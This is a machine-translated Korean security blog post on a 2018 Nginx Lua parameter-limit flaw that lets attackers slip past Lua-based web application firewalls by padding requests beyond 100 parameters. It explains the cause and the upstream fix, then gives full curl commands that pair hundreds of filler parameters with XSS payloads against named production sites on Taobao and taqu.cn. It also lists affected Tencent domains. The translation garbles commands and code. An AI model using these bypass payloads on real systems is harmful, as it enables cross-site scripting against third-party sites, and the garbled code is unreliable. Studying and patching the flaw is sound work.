|
|
게시됨 2018. 4. 27. 오전 9:23:29
|
|
|
|

ginx Lua가 매개변수를 얻으면 처음 100개의 매개변수 값은 기본적으로 얻고 나머지는 버려집니다. 따라서 Nginx Lua를 사용하는 WAF는 기본적으로 우회됩니다. 4월 20일, 보안 승객 중 누군가가 이미 이 사실을 공개했기 때문에, 저는 233번 기사도 게재했습니다.
원리
공식 설명은 다음과 같습니다
기본적으로 최대 100개의 요청 인자(같은 이름을 가진 인자도 포함)를 파싱하며, 추가 요청 인자는 잠재적 위험에 대비해 조용히 폐기된다는 점에 유의하세요 서비스 거부 공격. 기본적으로 최대 100개의 요청 매개변수(동일 이름 포함)를 파싱할 수 있으며, 추가 요청 매개변수는 서비스 거부 공격을 방지하기 위해 자동으로 삭제됩니다.
100번 검색해보세요. 대략 다음 방법도 같은 문제를 겪습니다. ngx.req.get_uri_args get의 요청 매개변수를 얻으세요 ngx.req.get_post_args 게시물의 요청 매개변수를 받아보세요 ngx.req.get_headers 요청 헤더를 받아 ngx.decode_args 매개변수의 URL 디코딩 ngx.resp.get_headers 응답 헤더를 받아 lua-nginx-module 소스 코드에서 기본 최대 요청 매개변수와 헤더를 100으로 설정한 것을 볼 수 있습니다
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
하지만 공식 문서에서는 ngx.req.get_uri_args (200)와 같이 처음 200개의 요청 매개변수를 얻기 위해 기본값을 수정하는 메서드를 제공합니다.
테스트
요청 매개변수가 101이면 마지막 요청 매개변수를 얻을 수 없습니다.
컬 -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
요청 매개변수를 하나 줄이면, 요청 매개변수가 정확히 100일 때 마지막 요청 매개변수를 얻을 수 있습니다.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 답변: ZBG 알겠어요, zbg
기본값은 실제로 100개의 요청 매개변수이며, 100개 이상의 요청 매개변수는 폐기됩니다.
이상한 점은, 위 반환 내용의 러프 포지션 중간에 최종 zbg 매개변수가 이미 출력되어 있다는 것입니다. 제 추측으로는 출력이 순서대로 있지 않지만, 파싱 순서는 매개변수 제출 순서를 따르는 것 같습니다. 왜냐하면 101번째 매개변수 값이 zbg일 때는 값을 얻을 수 없기 때문입니다.
첨부된 것은 매개변수를 생성하는 파이썬 스크립트입니다:
# 저자: ZBG # 메일:zbg@zbg.org # 날짜: 2018-04-03
a = '' 범위(200) 내 I의 경우: a = a + 'a{0}={1}&'.format(i+1, i+1) 인쇄 A 수리 물론, 소스 코드에서 매개변수의 최대 값을 수정하는 것은 권장되지 않습니다. 왜냐하면 아무리 큰 값을 설정해도 우회할 수 있기 때문입니다. 방법의 파라미터에 따라 설정하는 것이 권장됩니다. 요청 매개변수의 길이를 얻고 길이 ngx.req.get_uri_args 같은 메서드를 사용하면 충분하지 않을까요? 문서를 읽어보니 요청된 파라미터 수를 얻을 수 없었습니다. 하지만 렌스를 0으로 설정하면 요청된 모든 파라미터를 얻을 수 있습니다.
이 인수는 0으로 설정하여 제한을 제거하고 받은 모든 요청 인수를 처리할 수 있습니다. 로컬 ARGS = ngx.req.get_uri_args(0)
하지만 서비스 거부(DoS) 공격을 방지하기 위해 0으로 설정하는 것은 강력히 권장되지 않습니다.
max_args 캡을 제거하는 것은 강력히 권장되지 않습니다.
사실, 0을 설정하면 서비스 거부 공격이 발생할 수 있는데, 요청이 nginx로 가게 되는 이유가 궁금했습니다. get이나 post에 아무리 많은 매개변수가 있어도 말이죠.
저는 공식 담당자에게 문제를 제기했더니, 작성자는 ngx.req.get_uri_args (0)가 서버의 CPU와 메모리 사용량을 증가시킬 것이라고 했습니다. 나중에 200개의 매개변수를 테스트했고, Nginx+php를 사용해 200번째 매개변수를 얻었는데, 이는 Nginx가 기본적으로 요청 매개변수 수를 제한하지 않는다는 뜻입니다. 그렇다면 문제는 Nginx Lua 자체에 있을 수 있습니다,Nginx Lua가 ngx.req.get_uri_args(0)을 사용해 모든 매개변수를 입력하고 반복할 때, 요청된 매개변수가 많아지면 CPU와 메모리를 더 많이 소모하고 결국 서비스 거부(DoS) 문제로 이어지기도 합니다。
2018년 4월 3일, Bypass007은 이 버그 수정에 관한 문제를 공식적으로 제기했고, 2018년 4월 21일에 이 문제를 기반으로 한 새로운 기능을 공식적으로 추가했습니다. 이 함수의 커밋 레코드 주소: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
함수 설명은 다음과 같습니다: v0.10.13 이후(v0.10.13 포함) 버전에서는 요청 수 제한이 초과되면 두 번째 반환 값이 잘린 문자열입니다. v0.10.13 이후로는 제한을 초과하면 두 번째 값인 문자열이 "잘렸다"고 반환됩니다. 하지만 선택적 max_args 함수 인수를 사용하여 이 한계를 무시할 수 있습니다: 로컬 ARGS, err = ngx.req.get_uri_args(10) 만약 err == "단축" 이면, -- 현재 요청을 무시하거나 거부할 수 있습니다 끝
그래서 최종 수정이 나왔습니다.
lua-nginx-module을 v0.10.13 이상으로 업그레이드하세요
그다음 전체 매개변수 수를 제한하세요. 전체 수가 얼마나 제한되는지는 개인적으로 100개면 충분하다고 생각합니다
OpenResty가 lua-nginx-module 모듈을 업그레이드합니다
OpenResty 업그레이드 모듈에 대한 정보를 찾지 못해서, 저는 lua-nginx-모듈 모듈을 스스로 업그레이드하는 방법을 알아냈습니다.
단계는 다음과 같습니다:
lua-nginx-module 모듈의 해당 버전을 다운로드하세요 WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 풀고 tar -zxvf v0.10.13 이전 lua-nginx-module 버전을 삭제하세요 rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 새로운 lua-nginx-모듈을 복사합니다 mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 컴파일 관련해서는 VeryNginx의 컴파일 매개변수를 참조하세요
케이스 우회
다음 WAF들은 Nginx Lua를 사용할지 확신이 없지만, 전체 매개변수 수로 우회할 수 있다는 점을 명확히 해야 합니다.
알리 WAF
이 WAF는 알리바바 내부에서 사용하는 WAF, 즉 *.taobao.com 도메인 이름에 사용되는 WAF이며, 알리바바 클라우드가 판매하는 클라우드 WAF에 대해서는 테스트되지 않았습니다. 먼저, 이를 가로채기 위해 POST XSS 페이로드를 요청하세요. Curl -v -d 'A=<img src=x onerror=alert(/xss/)>' lu.taobao.com Fuzz를 통해 매개변수 수를 478개로 늘리면, XSS 페이로드가 더 이상 가로채지 않고 웹사이트에 정상적으로 접근할 수 있다는 사실이 밝혀졌습니다. 컬 -V -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a2222=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=297&a297=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
유클라우드
테스트된 WAF는 UCloud에서 판매하는 WAF입니다. 요청 매개변수가 138로 증가하면 더 이상 차단되지 않고 정상적으로 웹사이트에 접속할 수 있습니다. 컬 -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
텐센트 WAF
이 WAF는 텐센트 내부에서 사용하는 WAF, 즉 *.qq.com 같은 도메인 이름에 사용되는 WAF이며, 텐센트 클라우드가 판매하는 클라우드 WAF에 대해서는 테스트되지 않았습니다. 요청 매개변수가 4000으로 증가하면 더 이상 차단되지 않고 웹사이트가 정상적으로 접속됩니다. 다음 도메인에 대한 무작위 검사가 영향을 받습니다. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
요약
이 질문은 매우 간단하며, 문서를 꼼꼼히 읽으면 알 수 있습니다. 그런데 왜 나는 몰랐을까? 아직도 생각이 부족하다고 생각해요. 참고문헌
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
이전의:포토샵을 처음부터 배우기, 초보자에서 신까지 18가지 수업다음:루아와 루아짓의 강점과 약점
|